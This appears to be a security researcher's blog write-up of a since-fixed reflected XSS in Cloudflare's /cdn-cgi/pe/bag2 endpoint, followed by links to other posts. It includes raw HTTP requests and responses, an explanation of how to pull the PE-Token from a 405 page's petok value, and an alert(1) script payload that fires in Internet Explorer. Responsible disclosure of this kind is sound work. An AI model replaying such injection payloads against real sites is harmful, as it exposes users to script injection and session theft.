Cloudflare WAF XSS

A long time ago, I found a bug on http://securityundefined.com, an XSS vulnerability in the path: http://securityundefined.com/cdn-cgi/pe/bag2?r[]=

I reported it, and it was fixed after a while. The vulnerable parameter was “r[],” but I didn’t realize that the path (/cdn-cgi/pe/bag2?r[]=) was for “Cloudflare,” so I didn’t investigate further. Later, while searching for bugs again, I found: \http://foo.bar/cdn-cgi/pe/bag2?r[]=\

I was surprised to see this path again and thought it might be as vulnerable as the previous one. So, I did a simple GET request:

1
2
3
4
5
6
7
GET /cdn-cgi/pe/bag2?r= HTTP/1.1
Host: foo.bar
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

I received:

1
2
3
4
5
6
7
HTTP/1.1 405 Not Allowed
Date: Mon, 16 Nov 2015 16:17:42 GMT
Content-Type: text/html
Server: cloudflare-nginx
cf-ray: 246481f1dd7c08ea-CDG
Transfer-Encoding: chunked
Connection: Keep-Alive

As you can see, the website is not Cloudflare, but the responding server is Cloudflare because it uses a Cloudflare service. But how does it work? Why do I get a 405 Not Allowed response? And how do I get the 200 OK that I want? Firstly, I used a proxy to get an explicit HTTP request, which gave me the 200 OK.

I used proxy to get the clear HTTP request that gets the 200 OK . The orignal request was :

1
2
3
4
5
6
7
8
GET /cdn-cgi/pe/bag2?r[]=http://foo.bar/xxx.js HTTP/1.1
Host:foo.bar
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
PE-Token:1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800
Connection: keep-alive 

I noticed the PE-Token in the request and changed the (http://foo.bar/xxx.js) to <script>alert(1)</script>

Firefox: nothing. IE 9, 10, 11: the XSS works! After some investigation, I noticed the content type was set to Content-Type: multipart/mixed, so IE interpreted it as an HTML page and executed it. But where can I get the PE Token? You’ll receive a simple page with “405 Not Allowed” when you request. If you look into the source code, you will see:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head><title>405 Not Allowed</title><script type="text/javascript">
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1438806465,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,
paths:{cloudflare:"/cdn-cgi/nexp/dok3v=1613a3a185/"},atok:"xxxxxxxxxxx",petok:"1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800",
betok:"6ac82112672bec8b142092f8509e441fc0771df0-1438819567-120",zone:"salesforce.com",rocket:"0",apps:{"clky":{"sid":"xxxx","uid":"xxxx"}}}]
;!function(a,b){a=document.createElement("script"),
b=document.getElementsByTagName("script")[0],a.async=!0,
a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=d134393e0a/cloudflare.min.js",b.parentNode.insertBefore(a,b)}()}}catch(e){};
//]]>
</script>
</head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>cloudflare-nginx</center>
</body>
</html>

I found out that petok equals PE-Token. I discovered that many websites use this Cloudflare service. Here are some examples with XSS:

xss xss xss

I reported it to Cloudflare. They marked it as N/A but fixed it anyway. Thank you for reading

AVideo < 8.9 Privilege Escalation and File Inclusion that led to RCE

In this article, we will cover security issues in the **AVideo** open-source project that led to RCE. We contacted the project manager, a...… Continue reading

Careem AWS S3 Bucket Takeover

Published on June 01, 2020

Moodle DOM Stored XSS to RCE

Published on May 25, 2020